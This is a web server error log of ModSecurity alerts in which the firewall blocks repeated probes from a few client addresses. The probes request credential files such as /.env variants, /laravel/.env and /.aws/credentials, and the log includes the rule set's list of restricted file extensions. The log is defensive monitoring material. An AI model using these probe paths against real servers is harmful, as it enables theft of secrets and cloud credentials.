[Mon Jun 09 08:08:04.310601 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjQAAAAk&quot;]
[Mon Jun 09 08:08:04.310809 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjQAAAAk&quot;]
[Mon Jun 09 08:08:04.339453 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjgAAAAk&quot;]
[Mon Jun 09 08:08:04.339612 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjgAAAAk&quot;]
[Mon Jun 09 08:08:04.339853 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjgAAAAk&quot;]
[Mon Jun 09 08:08:04.340034 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjgAAAAk&quot;]
[Mon Jun 09 08:08:04.368692 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjwAAAAk&quot;]
[Mon Jun 09 08:08:04.368934 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjwAAAAk&quot;]
[Mon Jun 09 08:08:04.369114 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjwAAAAk&quot;]
[Mon Jun 09 08:08:04.458662 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwkgAAAAk&quot;]
[Mon Jun 09 08:08:04.458925 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwkgAAAAk&quot;]
[Mon Jun 09 08:08:04.459132 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwkgAAAAk&quot;]
[Mon Jun 09 08:08:04.755336 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwnAAAAAk&quot;]
[Mon Jun 09 08:08:04.755544 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwnAAAAAk&quot;]
[Mon Jun 09 08:08:04.755698 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwnAAAAAk&quot;]
[Tue Jun 10 23:57:51.218327 2025] [:error] [pid 3758035] [client 185.177.72.144:8302] [client 185.177.72.144] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEiqX2upws6pHiRAP8PmLgAAAAk&quot;]
[Tue Jun 10 23:57:51.219579 2025] [:error] [pid 3758035] [client 185.177.72.144:8302] [client 185.177.72.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEiqX2upws6pHiRAP8PmLgAAAAk&quot;]
[Tue Jun 10 23:57:51.219776 2025] [:error] [pid 3758035] [client 185.177.72.144:8302] [client 185.177.72.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEiqX2upws6pHiRAP8PmLgAAAAk&quot;]
[Tue Jun 10 23:57:51.813272 2025] [:error] [pid 3758035] [client 185.177.72.144:8302] [client 185.177.72.144] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEiqX2upws6pHiRAP8PmMAAAAAk&quot;]
[Tue Jun 10 23:57:51.813523 2025] [:error] [pid 3758035] [client 185.177.72.144:8302] [client 185.177.72.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEiqX2upws6pHiRAP8PmMAAAAAk&quot;]
[Tue Jun 10 23:57:51.813727 2025] [:error] [pid 3758035] [client 185.177.72.144:8302] [client 185.177.72.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEiqX2upws6pHiRAP8PmMAAAAAk&quot;]
[Fri Jun 13 03:48:36.567009 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_AAAAAs&quot;]
[Fri Jun 13 03:48:36.568564 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_AAAAAs&quot;]
[Fri Jun 13 03:48:36.568743 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_AAAAAs&quot;]
[Fri Jun 13 03:48:36.611114 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_gAAAAs&quot;]
[Fri Jun 13 03:48:36.611341 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_gAAAAs&quot;]
[Fri Jun 13 03:48:36.611506 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_gAAAAs&quot;]
[Fri Jun 13 03:48:36.632706 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_wAAAAs&quot;]
[Fri Jun 13 03:48:36.632849 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_wAAAAs&quot;]
[Fri Jun 13 03:48:36.633057 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_wAAAAs&quot;]
[Fri Jun 13 03:48:36.633208 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUhz_wAAAAs&quot;]
[Fri Jun 13 03:48:36.653296 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AAAAAAs&quot;]
